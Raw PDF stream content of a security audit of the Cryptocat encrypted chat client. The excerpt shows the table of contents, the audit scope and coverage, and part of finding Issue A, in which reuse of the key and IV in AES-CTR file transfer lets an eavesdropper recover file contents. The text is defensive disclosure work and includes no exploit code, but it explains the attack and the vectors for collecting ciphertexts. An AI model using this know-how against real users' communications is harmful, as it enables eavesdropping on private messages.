Q
q
1 0 0 1 0 339 cm
q
BT 1 0 0 1 20 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (Issue C. Substitution of File Contents By Hijacking Entry in User Interface) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 339 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 66.44 0 Td (9) Tj T* -66.44 0 Td ET
Q
Q
q
1 0 0 1 0 321 cm
q
BT 1 0 0 1 20 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (Issue D. File Name, Mimetype, and Size Lack Confidentiality) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 321 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 60.88 0 Td (11) Tj T* -60.88 0 Td ET
Q
Q
q
1 0 0 1 0 291 cm
q
BT 1 0 0 1 20 14 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (Issue E. You Log Out, Attacker Logs in with the same Nickname, Your Friend Thinks) Tj T* (The Attacker is You) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 303 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 60.88 0 Td (12) Tj T* -60.88 0 Td ET
Q
Q
q
1 0 0 1 0 273 cm
q
BT 1 0 0 1 20 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (Issue F. Nicknames Can Be Invisibly Reassigned) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 273 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 60.88 0 Td (14) Tj T* -60.88 0 Td ET
Q
Q
q
1 0 0 1 0 255 cm
q
BT 1 0 0 1 20 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (Issue G. Capture of Sent Messages by Nickname Change) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 255 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 60.88 0 Td (15) Tj T* -60.88 0 Td ET
Q
Q
q
1 0 0 1 0 237 cm
q
BT 1 0 0 1 20 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (Issues Without Known Exploits) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 237 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 60.88 0 Td (17) Tj T* -60.88 0 Td ET
Q
Q
q
1 0 0 1 0 219 cm
q
BT 1 0 0 1 40 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (CTR-mode Overflow) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 219 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 60.88 0 Td (17) Tj T* -60.88 0 Td ET
Q
Q
q
1 0 0 1 0 201 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 .501961 rg (Future Work) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 201 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F2 10 Tf 12 TL 60.88 0 Td (18) Tj T* -60.88 0 Td ET
Q
Q
q
1 0 0 1 0 183 cm
q
BT 1 0 0 1 20 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (Protocol Analysis, Design, and Implementation) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 183 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 60.88 0 Td (18) Tj T* -60.88 0 Td ET
Q
Q
q
1 0 0 1 0 165 cm
q
BT 1 0 0 1 40 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (Multiparty Chat) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 165 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 60.88 0 Td (18) Tj T* -60.88 0 Td ET
Q
Q
q
1 0 0 1 0 147 cm
q
BT 1 0 0 1 40 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (File Transfer) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 147 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 60.88 0 Td (18) Tj T* -60.88 0 Td ET
Q
Q
q
1 0 0 1 0 129 cm
q
BT 1 0 0 1 40 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (OTR & Cryptographic Libraries) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 129 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 60.88 0 Td (18) Tj T* -60.88 0 Td ET
Q
Q
q
1 0 0 1 0 111 cm
q
BT 1 0 0 1 40 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (JavaScript Cryptography) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 111 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 60.88 0 Td (18) Tj T* -60.88 0 Td ET
Q
Q
q
1 0 0 1 0 93 cm
q
BT 1 0 0 1 20 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (Open Questions & Concerns) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 93 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 60.88 0 Td (18) Tj T* -60.88 0 Td ET
Q
Q
q
1 0 0 1 0 75 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 .501961 rg (Recommendations) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 75 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F2 10 Tf 12 TL 60.88 0 Td (20) Tj T* -60.88 0 Td ET
Q
Q
q
1 0 0 1 0 57 cm
q
BT 1 0 0 1 20 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (Coding Practices) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 57 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 60.88 0 Td (20) Tj T* -60.88 0 Td ET
Q
Q
q
1 0 0 1 0 39 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 .501961 rg (Appendix A: The life cycle of the Cryptocat file transfer) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 39 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F2 10 Tf 12 TL 60.88 0 Td (21) Tj T* -60.88 0 Td ET
Q
Q
q
1 0 0 1 0 21 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 .501961 rg (Appendix B: Work Log) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 21 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F2 10 Tf 12 TL 60.88 0 Td (25) Tj T* -60.88 0 Td ET
Q
Q
q
1 0 0 1 0 3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 .501961 rg (Appendix C: Exploit Code for Issue G) Tj T* ET
Q
Q
q
1 0 0 1 397.8898 3 cm
q
0 0 .501961 rg
0 0 .501961 RG
BT 1 0 0 1 0 2 Tm /F2 10 Tf 12 TL 60.88 0 Td (27) Tj T* -60.88 0 Td ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 135.0236 cm
q
BT 1 0 0 1 0 3.5 Tm 21 TL /F2 17.5 Tf 0 0 0 rg (Overview) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 93.02362 cm
q
BT 1 0 0 1 0 26 Tm .334983 Tw 12 TL /F1 10 Tf 0 0 0 rg (The ) Tj 0 0 .501961 rg (Least Authority ) Tj 0 0 0 rg (security consultancy performed a security audit of the ) Tj 0 0 .501961 rg (Cryptocat ) Tj 0 0 0 rg (messaging client, on) Tj T* 0 Tw 2.271797 Tw (behalf of ) Tj /F3 10 Tf (Cryptocat) Tj /F1 10 Tf ('s sponsor ) Tj 0 0 .501961 rg (Open Technology Fund) Tj 0 0 0 rg (. ) Tj 0 0 .501961 rg (Cryptocat ) Tj 0 0 0 rg (provides end-to-end encrypted chat) Tj T* 0 Tw (using a web browser add-on.) Tj T* ET
Q
Q
endstream
endobj
% 'R180': class PDFStream
180 0 obj
% page stream
<< /Length 5636 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 753.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (This report gives the results of the audit.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 723.0236 cm
q
BT 1 0 0 1 0 3 Tm 18 TL /F2 15 Tf 0 0 0 rg (Audit Scope) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 681.0236 cm
q
BT 1 0 0 1 0 26 Tm 1.000751 Tw 12 TL /F1 10 Tf 0 0 0 rg (The audit investigated essential security properties such as the confidentiality and integrity protection of) Tj T* 0 Tw 1.03748 Tw /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (chat sessions and file transfers. The audit techniques included interactive penetration testing,) Tj T* 0 Tw (code and design analysis, and discussion with developers.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 663.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (For the purposes of this audit, we assume integrity of the ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (add-on installed by the user.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 609.0236 cm
q
BT 1 0 0 1 0 38 Tm .089984 Tw 12 TL /F1 10 Tf 0 0 0 rg (A well-known outstanding attack is the side channel of timing information emitted by the implementation of) Tj T* 0 Tw .454269 Tw (cryptographic algorithms computing on secrets. It is an unsolved problem how to prevent that information) Tj T* 0 Tw .81284 Tw (leakage with cryptographic algorithms implemented in ) Tj /F3 10 Tf (JavaScript) Tj /F1 10 Tf (. This issue is outside the scope of this) Tj T* 0 Tw (audit.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 579.0236 cm
q
BT 1 0 0 1 0 3 Tm 18 TL /F2 15 Tf 0 0 0 rg (Coverage) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 525.0236 cm
q
BT 1 0 0 1 0 38 Tm 4.06248 Tw 12 TL /F1 10 Tf 0 0 0 rg (Our code audit covered all of the primary ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (implementation in ) Tj /F4 10 Tf (src/core/js) Tj /F1 10 Tf (, including) Tj T* 0 Tw .323059 Tw /F4 10 Tf (cryptocat.js) Tj /F1 10 Tf (, and everything inside ) Tj /F4 10 Tf (etc/ ) Tj /F1 10 Tf (and ) Tj /F4 10 Tf (workers/) Tj /F1 10 Tf (. We reviewed third party code under ) Tj /F4 10 Tf (lib/) Tj T* 0 Tw 1.741098 Tw /F1 10 Tf (only when relevant to a particular investigation, which by the end of the audit included all or parts of) Tj T* 0 Tw /F4 10 Tf (bigint.js) Tj /F1 10 Tf (, ) Tj /F4 10 Tf (crypto-js/) Tj /F1 10 Tf (, ) Tj /F4 10 Tf (elliptic.js) Tj /F1 10 Tf (, ) Tj /F4 10 Tf (multiParty.js) Tj /F1 10 Tf (, ) Tj /F4 10 Tf (otr.js) Tj /F1 10 Tf (, ) Tj /F4 10 Tf (salsa20.js) Tj /F1 10 Tf (, and ) Tj /F4 10 Tf (strophe/) Tj /F1 10 Tf (.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 495.0236 cm
q
0 0 0 rg
BT 1 0 0 1 0 14 Tm /F1 10 Tf 12 TL .349984 Tw (In terms of feature sets, we focused primarily on cryptographic key management, the entropy system, the) Tj T* 0 Tw (newly developed file transfer feature, and relevant aspects of the user interface.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 453.0236 cm
q
BT 1 0 0 1 0 26 Tm 3.588555 Tw 12 TL /F1 10 Tf 0 0 0 rg (Some notable features which we did not deeply investigate are the ) Tj /F3 10 Tf (multiparty chat protocol) Tj /F1 10 Tf (, the) Tj T* 0 Tw 6.893976 Tw (implementation of the ) Tj /F3 10 Tf (Socialist Millionaire's Protocol) Tj /F1 10 Tf (, and whether the ) Tj /F3 10 Tf (Off-The-Record ) Tj /F1 10 Tf (chat) Tj T* 0 Tw (implementation \() Tj /F4 10 Tf (otr.js) Tj /F1 10 Tf (\) is a compatible implementation of the ) Tj /F3 10 Tf (OTR ) Tj /F1 10 Tf (protocol.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 363.0236 cm
q
BT 1 0 0 1 0 74 Tm 1.60152 Tw 12 TL /F1 10 Tf 0 0 0 rg (For the ) Tj /F3 10 Tf (multiparty chat protocol) Tj /F1 10 Tf (, we spent some time comparing the specification and implementation.) Tj T* 0 Tw .53936 Tw (However, we shifted focus away from this protocol for several reasons: First, we believe this protocol will) Tj T* 0 Tw 1.942651 Tw (be replaced by one with wider support across academia and industry, such as ) Tj /F3 10 Tf (mpOTR) Tj /F1 10 Tf (. Second, the) Tj T* 0 Tw 1.735814 Tw /F3 10 Tf (multiparty chat protocol ) Tj /F1 10 Tf (specification would benefit from including or excluding more security features,) Tj T* 0 Tw 3.959982 Tw (such as transcript soundness and consensus. Finally, the specification focuses on the "how" of) Tj T* 0 Tw 1.471318 Tw (implementation and would benefit from more specificity of the "why" of security goals. We discuss our) Tj T* 0 Tw (general recommendations for ) Tj /F3 10 Tf (multiparty chat protocol ) Tj /F1 10 Tf (in the ) Tj 0 0 .501961 rg (Future Work ) Tj 0 0 0 rg (section.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 345.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 .501961 rg (Appendix B: Work Log ) Tj 0 0 0 rg (describes our investigation process in fine detail.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 318.0236 cm
q
BT 1 0 0 1 0 2.5 Tm 15 TL /F5 12.5 Tf 0 0 0 rg (Target Code and Revision) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 300.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (All file references are based on the ) Tj /F4 10 Tf (v2.1.15 ) Tj /F1 10 Tf (git tag of the ) Tj /F3 10 Tf (Cryptocat ) Tj /F1 10 Tf (codebase, which has revision id:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 266.8236 cm
q
q
1 0 0 1 0 0 cm
q
1 0 0 1 6.6 6.6 cm
q
.662745 .662745 .662745 RG
.5 w
.960784 .960784 .862745 rg
n -6 -6 468.6898 24 re B*
Q
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F4 10 Tf 12 TL (05ddc47d8c1beff4511199a011859ee046687614) Tj T* ET
Q
Q
Q
Q
Q
q
1 0 0 1 62.69291 246.8236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (All file references use ) Tj /F3 10 Tf (Unix) Tj /F1 10 Tf (-style paths relative to the working directory root.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 246.8236 cm
Q
endstream
endobj
% 'R181': class PDFStream
181 0 obj
% page stream
<< /Length 8926 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 744.0236 cm
q
BT 1 0 0 1 0 3.5 Tm 21 TL /F2 17.5 Tf 0 0 0 rg (Findings) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 714.0236 cm
q
BT 1 0 0 1 0 3 Tm 18 TL /F2 15 Tf 0 0 0 rg (Issue A. Disclosure of File Contents Due to Re-use Of Key and IV) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 696.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F2 10 Tf 0 0 0 rg (Reported: ) Tj /F1 10 Tf (2013-11-06) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 666.0236 cm
q
BT 1 0 0 1 0 14 Tm .686651 Tw 12 TL /F2 10 Tf 0 0 0 rg (Synopsis: ) Tj /F1 10 Tf (The file transfer feature re-uses a symmetric encryption key and ) Tj /F3 10 Tf (IV ) Tj /F1 10 Tf (in ) Tj /F3 10 Tf (CTR) Tj /F1 10 Tf (-mode for multiple) Tj T* 0 Tw (file transfers in a single ) Tj /F3 10 Tf (Diffie-Hellman ) Tj /F1 10 Tf (session.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 636.0236 cm
q
BT 1 0 0 1 0 14 Tm 2.272485 Tw 12 TL /F2 10 Tf 0 0 0 rg (Impact: ) Tj /F1 10 Tf (An eavesdropper can learn some or all of the contents of the transferred files under some) Tj T* 0 Tw (conditions.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 606.0236 cm
q
BT 1 0 0 1 0 14 Tm 1.315318 Tw 12 TL /F2 10 Tf 0 0 0 rg (Attack Resources: ) Tj /F1 10 Tf (The attacker requires only passive collection of records of the ) Tj /F3 10 Tf (HTTP ) Tj /F1 10 Tf (traffic \(or the) Tj T* 0 Tw /F3 10 Tf (BOSH ) Tj /F1 10 Tf (and ) Tj /F3 10 Tf (XMPP ) Tj /F1 10 Tf (protocol traffic embedded in those ) Tj /F3 10 Tf (HTTP ) Tj /F1 10 Tf (requests\).) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 576.0236 cm
q
BT 1 0 0 1 0 14 Tm .575366 Tw 12 TL /F2 10 Tf 0 0 0 rg (Feasibility: ) Tj /F1 10 Tf (This attack requires only simple and efficient off-line computation once records of vulnerable) Tj T* 0 Tw (ciphertext traffic are known.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 546.0236 cm
q
BT 1 0 0 1 0 14 Tm .848735 Tw 12 TL /F1 10 Tf 0 0 0 rg (This loss of confidentiality occurs when more than one file is transferred through the file transfer feature) Tj T* 0 Tw (during a single ) Tj /F3 10 Tf (Diffie-Hellman ) Tj /F1 10 Tf (session.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 528.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (There is ) Tj /F3 10 Tf (no ) Tj /F1 10 Tf (loss of confidentiality when only a single file is transferred.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 498.0236 cm
q
BT 1 0 0 1 0 14 Tm 1.194104 Tw 12 TL /F1 10 Tf 0 0 0 rg (This traffic is present at the ) Tj /F3 10 Tf (XMPP ) Tj /F1 10 Tf (protocol layer, which is embedded in ) Tj /F3 10 Tf (HTTP ) Tj /F1 10 Tf (\(via ) Tj /F3 10 Tf (BOSH) Tj /F1 10 Tf (\). The ) Tj /F3 10 Tf (HTTP) Tj T* 0 Tw /F1 10 Tf (traffic of ) Tj /F3 10 Tf (crypto.cat) Tj /F1 10 Tf (, by default uses ) Tj /F3 10 Tf (TLS ) Tj /F1 10 Tf (to and from the server.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 480.0236 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (A compromise is feasible through ) Tj /F3 10 Tf (at least ) Tj /F1 10 Tf (several vectors:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 474.0236 cm
Q
q
1 0 0 1 62.69291 474.0236 cm
Q
q
1 0 0 1 62.69291 450.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 14 Tm /F1 10 Tf 12 TL 1.204597 Tw (A server compromise \(including malicious insiders\) could allow live traffic sniffing to recover these) Tj T* 0 Tw (ciphertexts.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 444.0236 cm
Q
q
1 0 0 1 62.69291 396.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 33 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 38 Tm 1.274269 Tw 12 TL /F1 10 Tf 0 0 0 rg (A server host compromise may grant access to log files containing recorded vulnerable traffic. \(In) Tj T* 0 Tw .488735 Tw (particular we know that ) Tj /F3 10 Tf (ejabberd ) Tj /F1 10 Tf (logs complete ) Tj /F3 10 Tf (XMPP ) Tj /F1 10 Tf (traffic when the log system is set to verbose.) Tj T* 0 Tw .716412 Tw (Being based on ) Tj /F3 10 Tf (Erlang ) Tj /F1 10 Tf (infrastructure, it is feasible to increase log verbosity without any interruption) Tj T* 0 Tw (to the service, assuming appropriate permissions on the server.\)) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 390.0236 cm
Q
q
1 0 0 1 62.69291 378.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL (Browser logs or caches may contain recorded vulnerable ciphertexts.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 372.0236 cm
Q
q
1 0 0 1 62.69291 348.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 9 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 14 Tm 1.24229 Tw 12 TL /F1 10 Tf 0 0 0 rg (Where ) Tj /F3 10 Tf (TLS ) Tj /F1 10 Tf (is deployed \(including the production ) Tj /F3 10 Tf (crypto.cat ) Tj /F1 10 Tf (service\), an active ) Tj /F3 10 Tf (TLS ) Tj /F1 10 Tf (attack against) Tj T* 0 Tw /F3 10 Tf (TLS) Tj /F1 10 Tf (-protected servers could be used to leverage this attack.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 342.0236 cm
Q
q
1 0 0 1 62.69291 330.0236 cm
0 0 0 rg
BT /F1 10 Tf 12 TL ET
q
1 0 0 1 6 -3 cm
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F1 10 Tf 12 TL 10.5 0 Td (\177) Tj T* -10.5 0 Td ET
Q
Q
q
1 0 0 1 23 -3 cm
q
BT 1 0 0 1 0 2 Tm 12 TL /F1 10 Tf 0 0 0 rg (Where ) Tj /F3 10 Tf (TLS ) Tj /F1 10 Tf (is ) Tj /F3 10 Tf (not ) Tj /F1 10 Tf (used, this attack is feasible at an unknown number of routers on the Internet.) Tj T* ET
Q
Q
q
Q
Q
q
1 0 0 1 62.69291 330.0236 cm
Q
q
1 0 0 1 62.69291 276.0236 cm
q
BT 1 0 0 1 0 38 Tm 1.275984 Tw 12 TL /F2 10 Tf 0 0 0 rg (Verification: ) Tj /F1 10 Tf (We verified this issue by source code inspection, and by reproducing the use of identical) Tj T* 0 Tw .471163 Tw (keys for more than one file transfer using debug output from an instrumented copy of ) Tj /F3 10 Tf (Cryptocat) Tj /F1 10 Tf (. We also) Tj T* 0 Tw 3.347984 Tw (used the debug output to investigate the extent to which key rollover impacts exploitation of the) Tj T* 0 Tw (vulnerability.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 198.0236 cm
q
BT 1 0 0 1 0 62 Tm .788443 Tw 12 TL /F2 10 Tf 0 0 0 rg (Implementation Analysis:) Tj /F1 10 Tf ( ) Tj /F3 10 Tf (AES ) Tj /F1 10 Tf (counter-mode encryption is used to protect the confidentiality of the file) Tj T* 0 Tw 3.151163 Tw (contents. The ) Tj /F3 10 Tf (IV ) Tj /F1 10 Tf (used for encrypting file contents is a fixed constant of 0. For the receiver, see) Tj T* 0 Tw 1.896627 Tw /F4 10 Tf (./src/core/js/etc/fileTransfer.js) Tj /F1 10 Tf (, line 255, inside ) Tj /F4 10 Tf (Cryptocat.fileHandler) Tj /F1 10 Tf (. \(The sender) Tj T* 0 Tw .41332 Tw (and receiver must use the same ) Tj /F3 10 Tf (IV ) Tj /F1 10 Tf (for decryption to succeed. The ) Tj /F3 10 Tf (IV ) Tj /F1 10 Tf (is not transmitted, and instead both) Tj T* 0 Tw 1.094987 Tw (parties rely on this implicitly known value. The sender ) Tj /F3 10 Tf (IV ) Tj /F1 10 Tf (code results in the same values, and we only) Tj T* 0 Tw (refer to the receiver code in this analysis.\)) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 108.0236 cm
q
BT 1 0 0 1 0 74 Tm 2.089984 Tw 12 TL /F1 10 Tf 0 0 0 rg (Files are transmitted in ) Tj /F3 10 Tf (chunks ) Tj /F1 10 Tf (of sequential bytes, and each chunk is encrypted separately. The ) Tj /F3 10 Tf (IV) Tj T* 0 Tw 1.216905 Tw /F1 10 Tf (parameter, which begins at 0, is incremented for each chunk, as seen in ) Tj /F3 10 Tf (./src/core/js/etc/fileTransfer.js,) Tj T* 0 Tw 1.030542 Tw (line 200) Tj /F1 10 Tf (. The actual ) Tj /F3 10 Tf (IV ) Tj /F1 10 Tf (passed to the encryption library is padded using an ) Tj /F3 10 Tf (OTR ) Tj /F1 10 Tf (convention as seen in) Tj T* 0 Tw 1.593828 Tw /F4 10 Tf (./src/core/js/lib/otr.js) Tj /F1 10 Tf (, line 298 and related functions, so this chunk index is encoded in the) Tj T* 0 Tw 3.170514 Tw (high 8 bytes. The low 8 bytes are initialized to 0 and the low 4 bytes incremented by the ) Tj /F3 10 Tf (AES) Tj T* 0 Tw 1.578735 Tw /F1 10 Tf (implementation for each block. This means that the same block index within the same chunk index is) Tj T* 0 Tw (encrypted with the same counter value \(which is correct behavior for ) Tj /F3 10 Tf (CTR ) Tj /F1 10 Tf (mode\).) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 78.02362 cm
q
BT 1 0 0 1 0 14 Tm 4.98152 Tw 12 TL /F1 10 Tf 0 0 0 rg (The secret key used for file transfers is derived during ) Tj /F3 10 Tf (Diffie-Hellman ) Tj /F1 10 Tf (session initialization in ) Tj T* 0 Tw .734597 Tw /F4 10 Tf (src/core/js/lib/otr.js) Tj /F1 10 Tf (, line 2163. A new ) Tj /F3 10 Tf (DHSession ) Tj /F1 10 Tf (is initialized whenever there is a "round trip") Tj T* 0 Tw ET
Q
Q
endstream
endobj
% 'R182': class PDFStream
182 0 obj
% page stream
<< /Length 3498 >>
stream
1 0 0 1 0 0 cm BT /F1 12 Tf 14.4 TL ET
q
1 0 0 1 62.69291 717.0236 cm
q
BT 1 0 0 1 0 38 Tm .201294 Tw 12 TL /F1 10 Tf 0 0 0 rg (of ) Tj /F3 10 Tf (OTR ) Tj /F1 10 Tf (data packets \227 client A sends a data packet to client B and then B sends a data packet to A \(see) Tj T* 0 Tw 2.727318 Tw /F4 10 Tf (otr.js ) Tj /F1 10 Tf (line 2338\). This sequence of events is not guaranteed to occur between file transfers, so) Tj T* 0 Tw 1.089984 Tw /F3 10 Tf (DHSession ) Tj /F1 10 Tf (rotation cannot be relied upon to prevent this loss of confidentiality. In particular, the server) Tj T* 0 Tw (could suppress messages after a file transfer that would otherwise cause a key rotation.) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 687.0236 cm
q
BT 1 0 0 1 0 14 Tm .49152 Tw 12 TL /F2 10 Tf 0 0 0 rg (Vulnerability Description: ) Tj /F1 10 Tf (Reuse of the same ) Tj /F3 10 Tf (IV ) Tj /F1 10 Tf (with counter-mode stream encryption reveals the ) Tj /F3 10 Tf (XOR) Tj T* 0 Tw /F1 10 Tf (of the plaintext of two or more messages, given only the ciphertexts of those messages, as follows:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 657.0236 cm
q
BT 1 0 0 1 0 14 Tm 1.338876 Tw 12 TL /F1 10 Tf 0 0 0 rg (The ciphertext generated by counter-mode is an ) Tj /F3 10 Tf (XOR ) Tj /F1 10 Tf (of a span of plaintext with the output of a block) Tj T* 0 Tw (cipher. The block cipher input is the secret key and a block ) Tj /F3 10 Tf (counter) Tj /F1 10 Tf (:) Tj T* ET
Q
Q
q
1 0 0 1 62.69291 623.8236 cm
q
q
1 0 0 1 0 0 cm
q
1 0 0 1 6.6 6.6 cm
q
.662745 .662745 .662745 RG
.5 w
.960784 .960784 .862745 rg
n -6 -6 468.6898 24 re B*
Q
q
0 0 0 rg
BT 1 0 0 1 0 2 Tm /F4 10 Tf 12 TL (ciphertext[j] = F\(key, counter[j]\) ^ plaintext[j]) Tj T* ET
Q
Q
Q
Q
Q
q
1 0 0 1 62.69291 591.8236 cm
q
